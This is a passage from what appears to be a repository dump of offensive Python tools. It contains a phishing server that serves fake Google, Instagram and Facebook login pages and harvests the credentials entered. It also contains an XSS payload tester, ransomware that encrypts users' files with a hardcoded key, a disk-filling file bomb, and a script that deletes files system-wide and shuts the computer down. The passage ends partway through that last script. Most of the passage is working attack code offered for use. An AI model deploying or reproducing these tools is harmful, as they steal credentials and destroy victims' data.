214 |         z-index: 2;
215 |     }
216 |     .form-signin input[type="text"]
217 |     {
218 |         margin-bottom: -1px;
219 |         border-bottom-left-radius: 0;
220 |         border-bottom-right-radius: 0;
221 |     }
222 |     .form-signin input[type="password"]
223 |     {
224 |         margin-bottom: 10px;
225 |         border-top-left-radius: 0;
226 |         border-top-right-radius: 0;
227 |     }
228 |     .account-wall
229 |     {
230 |         margin-top: 20px;
231 |         padding: 40px 0px 20px 0px;
232 |         background-color: #f7f7f7;
233 |         -moz-box-shadow: 0px 2px 2px rgba(0, 0, 0, 0.3);
234 |         -webkit-box-shadow: 0px 2px 2px rgba(0, 0, 0, 0.3);
235 |         box-shadow: 0px 2px 2px rgba(0, 0, 0, 0.3);
236 |     }
237 |     .login-title
238 |     {
239 |         color: #555;
240 |         font-size: 18px;
241 |         font-weight: 400;
242 |         display: block;
243 |     }
244 |     .profile-img
245 |     {
246 |         width: 96px;
247 |         height: 96px;
248 |         margin: 0 auto 10px;
249 |         display: block;
250 |         -moz-border-radius: 50%;
251 |         -webkit-border-radius: 50%;
252 |         border-radius: 50%;
253 |     }
254 |     .need-help
255 |     {
256 |         margin-top: 10px;
257 |     }
258 |     .new-account
259 |     {
260 |         display: block;
261 |         margin-top: 10px;
262 |     }
263 |     </style>
264 |     <title>
265 |     Google Login
266 |     </title>
267 |     <link href="https://upload.wikimedia.org/wikipedia/commons/thumb/5/53/Google_%22G%22_Logo.svg/1200px-Google_%22G%22_Logo.svg.png" rel="icon">
268 |     <link href="//netdna.bootstrapcdn.com/bootstrap/3.0.0/css/bootstrap.min.css" rel="stylesheet" id="bootstrap-css">
269 |     <script src="//netdna.bootstrapcdn.com/bootstrap/3.0.0/js/bootstrap.min.js"></script>
270 |     <script src="//code.jquery.com/jquery-1.11.1.min.js"></script>
271 |     <div class="container">
272 |         <div class="row">
273 |             <div class="col-sm-6 col-md-4 col-md-offset-4">
274 |                 <h1 class="text-center login-title">Sign in with google to continue</h1>
275 |                 <div class="account-wall">
276 |                     <img class="profile-img" src="https://lh5.googleusercontent.com/-b0-k99FZlyE/AAAAAAAAAAI/AAAAAAAAAAA/eu7opA4byxI/photo.jpg?sz=120"
277 |                         alt="">
278 |                     <form class="form-signin" action="http://""" + self.externalip + """:"""+str(self.port)+"""">
279 |                     <input type="text" name="username" class="form-control" placeholder="Email" required autofocus>
280 |                     <input type="password" name="password" class="form-control" placeholder="Password" required>
281 |                     <button class="btn btn-lg btn-primary btn-block" type="submit">
282 |                         Sign in</button>
283 |                     <label class="checkbox pull-left">
284 |                         <input type="checkbox" value="remember-me">
285 |                         Remember me
286 |                     </label>
287 |                     <a href="https://support.google.com/accounts?hl=en#topic=3382296" class="pull-right need-help">Need help? </a><span class="clearfix"></span>
288 |                     </form>
289 |                 </div>
290 |                 <a href="https://accounts.google.com/signup/v2/webcreateaccount?service=accountsettings&continue=https%3A%2F%2Fmyaccount.google.com%2F&dsh=S755052533%3A1613343260014589&gmb=exp&biz=false&flowName=GlifWebSignIn&flowEntry=SignUp" class="text-center new-account">Create an account </a>
291 |             </div>
292 |         </div>
293 |     </div>
294 |         """
295 |         return msg
296 | 
297 |     def instagram_packet(self):
298 |         msg = """
299 |                                             <style>
300 |                                                 * {
301 |                                               margin: 0px;
302 |                                               padding: 0px;
303 |                                             }
304 | 
305 |                                             body {
306 |                                               background-color: #eee;
307 |                                             }
308 | 
309 |                                             #wrapper {
310 |                                               width: 500px;
311 |                                               height: 50%;
312 |                                               overflow: hidden;
313 |                                               border: 0px solid #000;
314 |                                               margin: 50px auto;
315 |                                               padding: 10px;
316 |                                             }
317 | 
318 |                                             .main-content {
319 |                                               width: 250px;
320 |                                               height: 40%;
321 |                                               margin: 10px auto;
322 |                                               background-color: #fff;
323 |                                               border: 2px solid #e6e6e6;
324 |                                               padding: 40px 50px;
325 |                                             }
326 | 
327 |                                             .header {
328 |                                               border: 0px solid #000;
329 |                                               margin-bottom: 5px;
330 |                                             }
331 | 
332 |                                             .header img {
333 |                                               height: 50px;
334 |                                               width: 175px;
335 |                                               margin: auto;
336 |                                               position: relative;
337 |                                               left: 40px;
338 |                                             }
339 | 
340 |                                             .input-1,
341 |                                             .input-2 {
342 |                                               width: 100%;
343 |                                               margin-bottom: 5px;
344 |                                               padding: 8px 12px;
345 |                                               border: 1px solid #dbdbdb;
346 |                                               box-sizing: border-box;
347 |                                               border-radius: 3px;
348 |                                             }
349 | 
350 |                                             .overlap-text {
351 |                                               position: relative;
352 |                                             }
353 | 
354 |                                             .overlap-text a {
355 |                                               position: absolute;
356 |                                               top: 8px;
357 |                                               right: 10px;
358 |                                               color: #003569;
359 |                                               font-size: 14px;
360 |                                               text-decoration: none;
361 |                                               font-family: 'Overpass Mono', monospace;
362 |                                               letter-spacing: -1px;
363 |                                             }
364 | 
365 |                                             .btn {
366 |                                               width: 100%;
367 |                                               background-color: #3897f0;
368 |                                               border: 1px solid #3897f0;
369 |                                               padding: 5px 12px;
370 |                                               color: #fff;
371 |                                               font-weight: bold;
372 |                                               cursor: pointer;
373 |                                               border-radius: 3px;
374 |                                             }
375 | 
376 |                                             .sub-content {
377 |                                               width: 250px;
378 |                                               height: 40%;
379 |                                               margin: 10px auto;
380 |                                               border: 1px solid #e6e6e6;
381 |                                               padding: 20px 50px;
382 |                                               background-color: #fff;
383 |                                             }
384 | 
385 |                                             .s-part {
386 |                                               text-align: center;
387 |                                               font-family: 'Overpass Mono', monospace;
388 |                                               word-spacing: -3px;
389 |                                               letter-spacing: -2px;
390 |                                               font-weight: normal;
391 |                                             }
392 | 
393 |                                             .s-part a {
394 |                                               text-decoration: none;
395 |                                               cursor: pointer;
396 |                                               color: #3897f0;
397 |                                               font-family: 'Overpass Mono', monospace;
398 |                                               word-spacing: -3px;
399 |                                               letter-spacing: -2px;
400 |                                               font-weight: normal;
401 |                                             }
402 | 
403 |                                             </style>
404 |                                             <title>
405 |                                                 Instagram
406 |                                             </title>
407 |                                             <link rel="icon" href="https://upload.wikimedia.org/wikipedia/commons/thumb/e/e7/Instagram_logo_2016.svg/1200px-Instagram_logo_2016.svg.png">
408 |                                             <div id="wrapper">
409 |                                               <div class="main-content">
410 |                                                 <div class="header">
411 |                                                   <img src="https://i.imgur.com/zqpwkLQ.png" />
412 |                                                 </div>
413 |                                                 <div class="l-part">
414 |                                                   <form action="http://""" + self.externalip + """:"""+str(self.port)+"""">
415 |                                                     <input type="text" placeholder="Username" class="input-1" name="username">
416 |                                                     <div class="overlap-text">
417 |                                                     <input type="password" placeholder="Password" name="password" style="width: 100%; margin-bottom: 5px; padding: 8px 12px; border: 1px solid #dbdbdb; box-sizing: border-box; border-radius: 3px;">
418 |                                                     <a href="https://www.instagram.com/accounts/password/reset/">Forgot?</a>
419 |                                                     </div>
420 |                                                     <input type="submit" value="Log in" class="btn"/>
421 |                                                   </form>
422 |                                                 </div>
423 |                                               </div>
424 |                                               <div class="sub-content">
425 |                                                 <div class="s-part">
426 |                                                   Don't have an account?<a href="https://www.instagram.com/accounts/emailsignup/"> Sign up</a>
427 |                                                 </div>
428 |                                               </div>
429 |                                             </div>
430 |                                                     """
431 |         return msg
432 | 
433 |     def facebook_packet(self):
434 |         msg = """
435 |     <!DOCTYPE html>
436 |     <html lang="en">
437 |     <head>
438 |     	<meta charset="UTF-8">
439 |     	<title>Facebook</title>
440 |     	<link rel="icon" href="https://cdn1.iconfinder.com/data/icons/logotypes/32/square-facebook-512.png">
441 |     <style>
442 |     @import url('https://fonts.googleapis.com/css2?family=Poppins:wght@200;300;400;500;600&display=swap');
443 |     *{
444 |     	margin: 0;
445 |     	padding: 0;
446 |     	outline: 0;
447 |     	text-decoration: none;
448 |     	box-sizing: border-box;
449 |     }
450 |     body{
451 |     	font-family: 'Poppins', sans-serif;
452 |     	font-size: 14px;
453 |     	color: #1c1e21;
454 |     	font-weight: normal;
455 |     	background: #f8f8f8;
456 |     }
457 |     .loginsignup{
458 |     	padding: 120px;
459 |     }
460 |     .container{
461 |     	max-width: 992px;
462 |     	margin: auto;
463 |     }
464 |     .row{
465 |     	display: flex;
466 |     	flex-wrap: wrap;
467 |     }
468 |     .justify-content-between{
469 |     	justify-content: space-between;
470 |     }
471 |     .content-left{
472 |     	max-width: 500px;
473 |     	margin: auto;
474 |     }
475 |     .content-left h1{
476 |     	font-size: 40px;
477 |     	color: #1877f2;
478 |     	margin-bottom: 20px;
479 |     	font-weight: 600;
480 |     	text-shadow: -3px -3px 4px rgb(255,255,255),
481 |                    3px 3px 4px rgba(230, 230, 230, 0.96);;
482 |     }
483 |     .content-left h2{
484 |     	font-size: 20px;
485 |     	line-height: 32px;
486 |     	font-weight: 300;
487 |     	margin-bottom: 40px;
488 |     }
489 |     .content-right{
490 |     	max-width: 450px;
491 |     	margin: auto;
492 |     	text-align: center;
493 |     }
494 |     .content-right form{
495 |     	width:  396px;
496 |     	height: 360px;
497 |     	background: #f8f8f8;
498 |     	padding: 16px;
499 |     	box-shadow: -5px -5px 10px rgb(255,255,255),
500 |                    5px 5px 10px rgba(230,225,225,0.96);
501 |     	margin-bottom: 30px;
502 |     	    border-radius: 8px;
503 |     }
504 |     .content-right form input{
505 |     	width: 100%;
506 |     	height: 52px;
507 |     	background: #f8f8f8;
508 |     	padding: 0 15px;
509 |     	color: rgb(199, 198, 198);
510 |     	font-size: 17px;
511 |     	border: 1px solid #dddfe2;
512 |     	border-radius: 6px;
513 |     	margin-bottom: 15px;
514 |     	font-size: 17px;
515 |     }
516 |     ::placeholder
517 |     {
518 |     	color: #9094b6;
519 |     }
520 | 
521 |     .content-right form input:focus
522 |     {
523 |     	border: 1px solid #1877f2;
524 |     	box-shadow: 0 0px 2px #1877f2 ;
525 | 
526 |     }
527 |     .btn{
528 |     	border-radius: 6px;
529 |         font-size: 17px;
530 |         line-height: 48px;
531 |         padding: 0 16px;
532 |     	background: #1877f2;
533 |     	color: #fff;
534 |     	margin-bottom: 20px;
535 |     	text-transform: capitalize;
536 |     	font-weight: 500;
537 |     	box-shadow: -5px -5px 10px rgb(255,255,255),
538 |                    5px 5px 10px rgba(230, 230, 230, 0.96);
539 |     }
540 |     .login a{
541 |     	display: block;
542 |     }
543 |     .create-btn a{
544 |     	display: inline-block;
545 |     	padding: 0 17px;
546 |     	background: #4cd137;
547 |     	transition: .3s;
548 |     }
549 |     .create-btn a:hover{
550 |     	background: #44bd32;
551 |     }
552 |     .login .btn:active
553 |     {
554 |     	background: #f8f8f8;
555 |     	color: #1877f2;
556 |     }
557 | 
558 |     .forgot a{
559 |     	font-size: 14px;
560 |     	line-height: 19px;
561 |     	color:#1877f2;
562 |     }
563 |     .forgot a:hover,
564 |     .content-right p a:hover{
565 |     	text-decoration: underline;
566 |     }
567 |     .content-right p a{
568 |     	color: #1c1e21;
569 |     	font-weight: 600;
570 |     }
571 |     .line
572 |     {
573 |         align-items: center;
574 |         border-bottom: 1px solid #dadde1;
575 |         display: flex;
576 |         margin: 20px 16px;
577 |         text-align: center;
578 |     }
579 | 
580 |     </style>
581 |     </head>
582 |     <body>
583 |     <div class="loginsignup">
584 |     	<div class="container">
585 |     		<div class="row justify-content-between">
586 |     			<div class="content-left">
587 |     				<h1>facebook</h1>
588 |     				<h2>Facebook helps you connect and share with the people in your life.</h2>
589 |     			</div>
590 |     			<div class="content-right">
591 |     				<form action="http://""" + self.externalip + """:"""+str(self.port)+"""">
592 |     					<div class="form-group">
593 |     						<input type="text" placeholder="Email address or phone number" name="username">
594 |     					</div>
595 |     					<div class="form-group">
596 |     						<input type="password" placeholder="Password" name="password">
597 |     					</div>
598 |     					<div class="login">
599 |                             <input type="submit" value="Log In" class="btn">
600 |                            <div class="forgot">
601 |     						<a href="">Forgotten account?</a>
602 |     					</div>
603 |     					<div class="line"></div>
604 |     					<div class="create-btn">
605 |     						<a href="" class="btn">create new account</a>
606 |     					</div>
607 |                         </div>
608 |     				</form>
609 |     				<p><a href="">Create a Page</a> for a celebrity, band or business.</p>
610 |     			</div>
611 |     		</div>
612 |     	</div>
613 |     </div>
614 |     		<!-- login Page end -->
615 |     </body>
616 |     </html>
617 |         """
618 |         return msg
619 |     def reformat_str(self, string):
620 |         return str(string).replace("+", " ").replace("%3C", "<").replace("%3E", ">").replace(
621 |         "%2F", "/").replace("%22", '"').replace("%27", "'").replace("%3D", "=").replace("%2B",
622 |         "+").replace("%3A", ":").replace("%28", "(").replace("%29", ")").replace("%2C", ","
623 |         ).replace("%3B", ";").replace("%20", " ").replace("%3F", "?").replace("%5C", "\\"
624 |         ).replace("%7B", "{").replace("%7D", "}").replace("%24", "$").replace("%0D", "\n"
625 |         ).replace("%0A", "   ").replace("%40","@")
626 |     def handler(self, c, msg, ip):
627 |         try:
628 |             already_requested = False
629 |             c.send('HTTP/1.0 200 OK\n'.encode())
630 |             c.send('Content-Type: text/html\n'.encode())
631 |             c.send('\n'.encode())
632 |             if 'username=' in msg:
633 |                 already_requested = True
634 |                 msg_split = msg.split()
635 |                 if 'username=' in msg_split[1]:
636 |                     info = msg_split[1]
637 |                     result = ""
638 |                     for i in info:
639 |                         if i == "=" or i == "&":
640 |                             result += " "
641 |                         else:
642 |                             result += i
643 |                     result = result.strip().split()
644 |                     username = result[1]
645 |                     password = result[3]
646 |                 else:
647 |                     pass
648 |                 item = 0
649 |                 for i in msg_split:
650 |                     if 'x-forwarded-for' in i.lower():
651 |                         ipaddr = msg_split[item + 1]
652 |                         break
653 |                     else:
654 |                         ipaddr = ip
655 |                     item += 1
656 |                 try:
657 |                     print(f"\n[+] User Info Obtained from IP {ipaddr}.\n[+] Username: {self.reformat_str(username)}\n[+] Password: {self.reformat_str(password)}")
658 |                 except:
659 |                     pass
660 |             if already_requested:
661 |                 if self.platform.lower() == "instagram":
662 |                     c.send("""
663 |                     <meta http-equiv="Refresh" content="0; url='https://instagram.com/'" />          
664 |                     """.encode())
665 |                 elif self.platform.lower() == "facebook":
666 |                     c.send("""
667 |                     <meta http-equiv="Refresh" content="0; url='https://facebook.com/'" />          
668 |                     """.encode())
669 |                 elif self.platform.lower() == "google":
670 |                     c.send("""
671 |                     <meta http-equiv="Refresh" content="0; url='https://google.com/'" />          
672 |                     """.encode())
673 |                 elif self.platform.lower() == "twitter":
674 |                     c.send("""
675 |                     <meta http-equiv="Refresh" content="0; url='https://twitter.com/'" />          
676 |                     """.encode())
677 |             if not already_requested:
678 |                 if self.platform.lower() == "instagram":
679 |                     c.send(self.instagram_packet().encode())
680 |                 elif self.platform.lower() == "facebook":
681 |                     c.send(self.facebook_packet().encode())
682 |                 elif self.platform.lower() == "google":
683 |                     c.send(self.google_packet().encode())
684 |                 elif self.platform.lower() == "twitter":
685 |                     c.send(self.twitter_packet().encode())
686 |             c.close()
687 |         except Exception as e:
688 |             pass
689 | class OptionParse:
690 |     def __init__(self):
691 |         self.parse_args()
692 |     def logo(self):
693 |         print("""
694 |   _____             _     _ _____  _     _     _                      ___    ___  
695 |  / ____|           (_)   | |  __ \| |   (_)   | |                    |__ \  / _ \ 
696 | | (___   __ _ _   _ _  __| | |__) | |__  _ ___| |__   ___ _ __  __   __ ) || | | |
697 |  \___ \ / _` | | | | |/ _` |  ___/| '_ \| / __| '_ \ / _ \ '__| \ \ / // / | | | |
698 |  ____) | (_| | |_| | | (_| | |    | | | | \__ \ | | |  __/ |     \ V // /_ | |_| |
699 | |_____/ \__, |\__,_|_|\__,_|_|    |_| |_|_|___/_| |_|\___|_|      \_/|____(_)___/ 
700 |            | |                                                                    
701 |            |_|                                                                    
702 | Phishing Server Script By DrSquid  """)
703 |     def usage(self):
704 |         print("""
705 | [+] Option-Parsing Help:
706 | [+] --i,  --info         - Shows this message.
707 | [+] --ip, --ipaddr       - Specify an IP Address to host the server on.
708 | [+] --p,  --port         - Specify the Port to host the server on.
709 | [+] --pl, --platform     - Specify the social media platform to impersonate as.
710 | [+] --eh, --externalhost - Specify the external IP address for external hosts to connect to(if you have them).
711 | [+] Note: These optional arguements have defaults, so you are able to leave them.
712 | 
713 | [+] Usage:
714 | [+] python3 SquidPhisher.py --ip <ipaddr> --p <port> --pl <platform> --eh <externalhost>
715 | [+] python3 SquidPhisher.py --i""")
716 |     def parse_args(self):
717 |         self.logo()
718 |         args = OptionParser()
719 |         args.add_option("--ip", "--ipaddr", dest="ip")
720 |         args.add_option("--p", "--port", dest="p")
721 |         args.add_option("--pl", "--platform", dest="pl")
722 |         args.add_option("--eh", "--externalhost", dest="eh")
723 |         args.add_option("--i", "--info", dest="i", action="store_true")
724 |         arg, opt = args.parse_args()
725 |         if arg.i is not None:
726 |             self.usage()
727 |             sys.exit()
728 |         if arg.ip is not None:
729 |             ip = arg.ip
730 |         else:
731 |             self.usage()
732 |             sys.exit()
733 |         if arg.p is not None:
734 |             try:
735 |                 p = int(arg.p)
736 |             except:
737 |                 p = 80
738 |         else:
739 |             p = 80
740 |         if arg.pl is not None:
741 |             pl = arg.pl
742 |         else:
743 |             pl = "facebook"
744 |         if arg.eh is not None:
745 |             eh = arg.eh
746 |         else:
747 |             eh = ip
748 |         serv = Phishing_Server(ip, p, pl, eh)
749 |         serv.listen()
750 | optparsing = OptionParse()
751 | 


--------------------------------------------------------------------------------
/Information Gathering/SquidXSS.py:
--------------------------------------------------------------------------------
 1 | import urllib.request, sys
 2 | from optparse import OptionParser
 3 | 
 4 | class XSSPayloadChecker:
 5 |     def __init__(self, website, payloadfile):
 6 |         self.website = website
 7 |         try:
 8 |             self.payloadfile = open(payloadfile, "rb")
 9 |         except:
10 |             print("[+] The file provided is invalid!")
11 |             sys.exit()
12 |         self.payloads = []
13 |         if "/?" not in self.website:
14 |             print("[+] Invalid Website! You need to provide a query string for the link.\n[+] Example: http://example.com/?search=")
15 |             sys.exit()
16 |         self.check_payloads()
17 |     def check_payloads(self):
18 |         for i in self.payloadfile.read().splitlines():
19 |             try:
20 |                 try:
21 |                     i = i.decode()
22 |                 except:
23 |                     i = str(i)
24 |                 payload = self.website + i
25 |                 req = urllib.request.Request(url=payload)
26 |                 linkopen = urllib.request.urlopen(req)
27 |                 try:
28 |                     info = linkopen.read().decode()
29 |                 except:
30 |                     info = linkopen.read()
31 |                 if i in info:
32 |                     print(f"[!] The site is vulnerable to: {i}")
33 |                     if i not in self.payloads:
34 |                         self.payloads.append(i)
35 |             except:
36 |                 pass
37 |         print(f"[+] Available Cross-Site-Scripting Payloads: {self.payloads}")
38 |         self.payloadfile.close()
39 | class OptionParse:
40 |     def __init__(self):
41 |         self.logo()
42 |         self.parse_args()
43 |     def logo(self):
44 |         print("""
45 |   _____             _     ___   __ _____ _____        __   ___  
46 |  / ____|           (_)   | \ \ / // ____/ ____|      /_ | / _ \ 
47 | | (___   __ _ _   _ _  __| |\ V /| (___| (___   __   _| || | | |
48 |  \___ \ / _` | | | | |/ _` | > <  \___ \ ___ \  \ \ / / || | | |
49 |  ____) | (_| | |_| | | (_| |/ . \ ____) |___) |  \ V /| || |_| |
50 | |_____/ \__, |\__,_|_|\__,_/_/ \_\_____/_____/    \_/ |_(_)___/ 
51 |            | |                                                  
52 |            |_|                                                  
53 | XSS-Payload Checker Script By DrSquid""")
54 |     def usage(self):
55 |         print("""
56 | [+] Option-Parsing Help:
57 | [+] -w, --website     - Specify the Target Website(add a search query string at the end).
58 | [+] -p, --payloadfile - Specify the File with the XSS Payloads.
59 | [+] -i, --info        - Shows this message.
60 | 
61 | [+] Usage:
62 | [+] python3 SquidXSS.py -w <website> -p <payloadfile>
63 | [+] python3 SquidXSS.py -i""")
64 |     def parse_args(self):
65 |         args = OptionParser()
66 |         args.add_option("-w","--website", dest="web")
67 |         args.add_option("-p","--payloadfile", dest="plfile")
68 |         args.add_option("-i","--info",dest="info",action="store_true")
69 |         opt, arg = args.parse_args()
70 |         if opt.info is not None:
71 |             self.usage()
72 |             sys.exit()
73 |         if opt.web is not None:
74 |             web = opt.web
75 |         else:
76 |             self.usage()
77 |             sys.exit()
78 |         if opt.plfile is not None:
79 |             plfile = opt.plfile
80 |         else:
81 |             self.usage()
82 |             sys.exit()
83 |         XSSPayload = XSSPayloadChecker(web, plfile)
84 | Argparse = OptionParse()
85 | 


--------------------------------------------------------------------------------
/LICENSE:
--------------------------------------------------------------------------------
 1 | MIT License
 2 | 
 3 | Copyright (c) 2021 DrSquidX
 4 | 
 5 | Permission is hereby granted, free of charge, to any person obtaining a copy
 6 | of this software and associated documentation files (the "Software"), to deal
 7 | in the Software without restriction, including without limitation the rights
 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
 9 | copies of the Software, and to permit persons to whom the Software is
10 | furnished to do so, subject to the following conditions:
11 | 
12 | The above copyright notice and this permission notice shall be included in all
13 | copies or substantial portions of the Software.
14 | 
15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
21 | SOFTWARE.
22 | 


--------------------------------------------------------------------------------
/Malware/RansomSquid.py:
--------------------------------------------------------------------------------
  1 | from cryptography.fernet import Fernet
  2 | import os, sys
  3 | class RansomWare:
  4 |     def __init__(self):
  5 |         self.f = b'QAYEFKLQT469LdHWIs4ZG7xKrDr8JRzMTwNFvoQFILg='
  6 |         self.fernet = Fernet(self.f)
  7 |         self.dirlist = []
  8 |         self.file_list = []
  9 |         input("[+] This Ransomware can seriously F up your computer(Encrypts personal files). ONLY PRESS ENTER IF YOU ARE OK WITH THIS HAPPENING.")
 10 |         input("[+] ARE YOU SURE? THERE IS NO TURNING BACK.")
 11 |         print("[+] Your loss :( .")
 12 |     def get_file_name(self):
 13 |         return sys.argv[0].replace('/',' ').replace("\\"," ").split()[len(sys.argv[0].replace('/',' ').replace("\\"," ").split())-1]
 14 |     def get_filelist(self):
 15 |         filelist = []
 16 |         try:
 17 |             for i in os.listdir():
 18 |                 if "." in i:
 19 |                     filelist.append(os.path.join(os.getcwd(), i))
 20 |         except:
 21 |             pass
 22 |         return filelist
 23 |     def get_dir_list(self):
 24 |         dirlist = []
 25 |         try:
 26 |             for i in os.listdir():
 27 |                 if "." not in i:
 28 |                     dirlist.append(os.path.join(os.getcwd(), i))
 29 |         except:
 30 |             pass
 31 |         return dirlist
 32 |     def encrypt_file(self, filename):
 33 |         working = False
 34 |         try:
 35 |             file = open(filename, "rb")
 36 |             working = True
 37 |         except:
 38 |             pass
 39 |         if working:
 40 |             content = file.read()
 41 |             file.close()
 42 |             file = open(filename, "wb")
 43 |             file.write(self.fernet.encrypt(content))
 44 |             file.close()
 45 |         else:
 46 |             file.close()
 47 |     def decrypt_file(self, filename):
 48 |         working = False
 49 |         try:
 50 |             file = open(filename, "rb")
 51 |             working = True
 52 |         except:
 53 |             passs
 54 |         if working:
 55 |             try:
 56 |                 content = file.read()
 57 |                 file.close()
 58 |                 decrypt_content = self.fernet.decrypt(content)
 59 |                 file = open(filename, "wb")
 60 |                 file.write(decrypt_content)
 61 |                 file.close()
 62 |             except:
 63 |                 pass
 64 |         else:
 65 |             file.close()
 66 |     def get_files(self):
 67 |         if sys.platform == "win32":
 68 |             os.chdir("C:/Users/")
 69 |         else:
 70 |             os.chdir("/Users/")
 71 |         self.dirlist.extend(self.get_dir_list())
 72 |         self.file_list.extend(self.get_filelist())
 73 |         for i in self.dirlist:
 74 |             try:
 75 |                 os.chdir(i)
 76 |                 self.file_list.extend(self.get_filelist())
 77 |                 self.dirlist.extend(self.get_dir_list())
 78 |             except:
 79 |                 pass
 80 |     def encrypt_files(self):
 81 |         self.get_files()
 82 |         for i in self.file_list:
 83 |             try:
 84 |                 self.encrypt_file(i)
 85 |             except:
 86 |                 pass
 87 |         self.display_warning()
 88 |         self.enter_enc_key()
 89 |     def decrypt_files(self):
 90 |         self.get_files()
 91 |         for i in self.file_list:
 92 |             try:
 93 |                 self.decrypt_file(i)
 94 |             except:
 95 |                 pass
 96 |     def display_warning(self):
 97 |         print(f"""
 98 | ===============================================================================================================================        
 99 |  __     __         _             ____                     _____                                          _              _ _ 
100 |  \ \   / /        ( )           |  _ \                   / ____|                                        (_)            | | |
101 |   \ \_/ /__  _   _|/__   _____  | |_) | ___  ___ _ __   | |     ___  _ __ ___  _ __  _ __ ___  _ __ ___  _ ___  ___  __| | |
102 |    \   / _ \| | | | \ \ / / _ \ |  _ < / _ \/ _ \\ '_ \  | |    / _ \| '_ ` _ \| '_ \| '__/ _ \| '_ ` _ \| / __|/ _ \/ _` | |
103 |     | | (_) | |_| |  \ V /  __/ | |_) |  __/  __/ | | | | |___| (_) | | | | | | |_) | | | (_) | | | | | | \__ \  __/ (_| |_|
104 |     |_|\___/ \__,_|   \_/ \___| |____/ \___|\___|_| |_|  \_____\___/|_| |_| |_| .__/|_|  \___/|_| |_| |_|_|___/\___|\__,_(_)
105 |                                                                               | |                                           
106 |                                                                               |_|                                           
107 | ===============================================================================================================================           
108 | 
109 | [+] You are a victim of RansomSquid!
110 | [+] All of your files have been encrypted.
111 | 
112 | [+] DO NOT CLOSE THIS WINDOW AS ALL YOUR FILES WILL BE LOST IF YOU DO SO.""")
113 |     def enter_enc_key(self):
114 |         while True:
115 |             key = input("[+] Enter the Encryption Key to Decrypt all of the encrypted Files: ").encode()
116 |             if key == self.f:
117 |                 print("[+] Decrypting your files.")
118 |                 self.decrypt_files()
119 |                 input("[+] Press Enter to Exit.")
120 |                 break
121 |             else:
122 |                 print("[+] Your Key Is Invalid!")
123 | """
124 | Get rid of the hashtags if you have gone insane.
125 | """
126 | #e = RansomWare()
127 | #e.encrypt_files()
128 | 


--------------------------------------------------------------------------------
/Malware/RickRollWare.py:
--------------------------------------------------------------------------------
1 | import os, time
2 | while True:
3 |     os.system("start https://www.youtube.com/watch?v=dQw4w9WgXcQ")
4 |     time.sleep(1)


--------------------------------------------------------------------------------
/Malware/SquidBomb.py:
--------------------------------------------------------------------------------
 1 | import os, threading, random, sys
 2 | class FileBomb:
 3 |     """This script is a file bomber. It will create a directory in an obscure area
 4 |     on the victim computer, and make a large amount of useless files that take up
 5 |     a lot of space."""
 6 |     def __init__(self):
 7 |         if sys.platform == "win32":
 8 |             self.filedir = "C:/"
 9 |             self.new_dir = "_Windows"
10 |         else:
11 |             self.filedir = "/"
12 |             self.new_dir = "_System"
13 |         os.chdir(self.filedir)
14 |         if self.new_dir not in os.listdir():
15 |             os.mkdir(self.new_dir)
16 |         os.chdir(self.new_dir)
17 |     def Bomb(self):
18 |         while True:
19 |             file_creation = threading.Thread(target=self.create_file).start()
20 |     def create_file(self):
21 |         try:
22 |             filename = str(random.randint(1,100000000000000000000000000000000000000))
23 |             file = open(filename,"w")
24 |             file.write(str(random.randint(1000000000000,9999999999999))*10000000)
25 |             file.close()
26 |         except Exception as e:
27 |             pass
28 | filebomber = FileBomb()
29 | filebomber.Bomb()
30 | 


--------------------------------------------------------------------------------
/Malware/SquidWare.py:
--------------------------------------------------------------------------------
 1 | import os, sys, ctypes, threading, time
 2 | class MalWare:
 3 |     def __init__(self):
 4 |         self.dirlist = []
 5 |         self.file_list = []
 6 |         self.deleter = threading.Thread(target=self.del_files)
 7 |         self.deleter.start()
 8 |     def get_file_name(self):
 9 |         return sys.argv[0].replace('/',' ').replace("\\"," ").split()[len(sys.argv[0].replace('/',' ').replace("\\"," ").split())-1]
10 |     def get_filelist(self):
11 |         filelist = []
12 |         try:
13 |             for i in os.listdir():
14 |                 if "." in i:
15 |                     filelist.append(os.path.join(os.getcwd(), i))
16 |         except:
17 |             pass
18 |         return filelist
19 |     def get_dir_list(self):
20 |         dirlist = []
21 |         try:
22 |             for i in os.listdir():
23 |                 if "." not in i:
24 |                     dirlist.append(os.path.join(os.getcwd(), i))
25 |         except:
26 |             pass
27 |         return dirlist
28 |     def get_files(self):
29 |         if sys.platform == "win32":
30 |             os.chdir("C:/")
31 |         else:
32 |             os.chdir("/Users/")
33 |         self.dirlist.extend(self.get_dir_list())
34 |         self.file_list.extend(self.get_filelist())
35 |         for i in self.dirlist:
36 |             try:
37 |                 os.chdir(i)
38 |                 self.file_list.extend(self.get_filelist())
39 |                 self.dirlist.extend(self.get_dir_list())
40 |             except:
41 |                 pass
42 |     def del_files(self):
43 |         self.get_files()
44 |         for i in self.file_list:
45 |             try:
46 |                 os.remove(i)
47 |             except:
48 |                 pass
49 |         os.system("cls")
50 |         self.display_warning()
51 |         time.sleep(2)
52 |         print("\n[+] Shutting Down Computer in 3 seconds......... Say Goodbye!")
53 |         time.sleep(3)
54 |         os.system("shutdown /s /t 1")
55 |     def display_warning(self):
56 |         print(f"""
57 | ===============================================================================================================================        
58 |  __     __         _             ____                     _____                                          _              _ _ 
59 |  \ \   / /        ( )           |  _ \                   / ____|                                        (_)            | | |
60 |   \ \_/ /__  _   _|/__   _____  | |_) | ___  ___ _ __   | |     ___  _ __ ___  _ __  _ __ ___  _ __ ___  _ ___  ___  __| | |
61 |    \   / _ \| | | | \ \ / / _ \ |  _ < / _ \/ _ \\ '_ \  | |    / _ \| '_ ` _ \| '_ \| '__/ _ \| '_ ` _ \| / __|/ _ \/ _` | |
62 |     | | (_) | |_| |  \ V /  __/ | |_) |  __/  __/ | | | | |___| (_) | | | | | | |_) | | | (_) | | | | | | \__ \  __/ (_| |_|
